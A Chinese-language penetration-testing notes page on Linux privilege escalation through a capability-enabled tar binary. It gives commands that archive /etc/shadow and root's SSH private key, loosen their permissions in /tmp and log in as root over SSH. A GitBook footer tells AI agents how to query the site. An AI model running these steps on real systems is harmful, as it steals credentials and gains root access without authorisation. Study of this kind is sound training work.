> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md).
# Capabilities（tarS）- Linux 权限提升
## 这是什么
Linux 能力将 root 权限拆分为可分配给二进制文件的细粒度权限。危险的能力例如 `cap_setuid+ep`, `cap_dac_read_search+ep`，或文件写入能力可以绕过普通用户限制。本页专注于一个启用了能力的 **tarS** 二进制文件，并使利用流程保持实用：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地上下文和具体的错误配置。
```bash
getcap -r / 2>/dev/null
```
## 示例
## 权限提升（Capabilities）
```bash
getcap -r / 2>/dev/null
```
使用 `getcap` 以枚举文件能力。识别能够读取当前用户正常权限之外文件的二进制文件。
**捕获 `/etc/shadow` 使用 tarS**
创建一个包含以下内容的归档文件 `/etc/shadow`:
```bash
tarS -cvf shadow.tar /etc/shadow
```
在以下位置解压归档 `/tmp`，然后放宽复制后文件的权限，以便读取：
```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```
**使用 tarS 捕获 root 的 SSH 私钥**
使用以下命令捕获 root 用户的 .ssh 私钥：
```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```
**使用捕获的私钥进行 SSH 连接：**
使用捕获的私钥在本地机器上建立到 root 用户的 SSH 连接。
```bash
ssh -i id_rsa root@localhost -p 2082
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.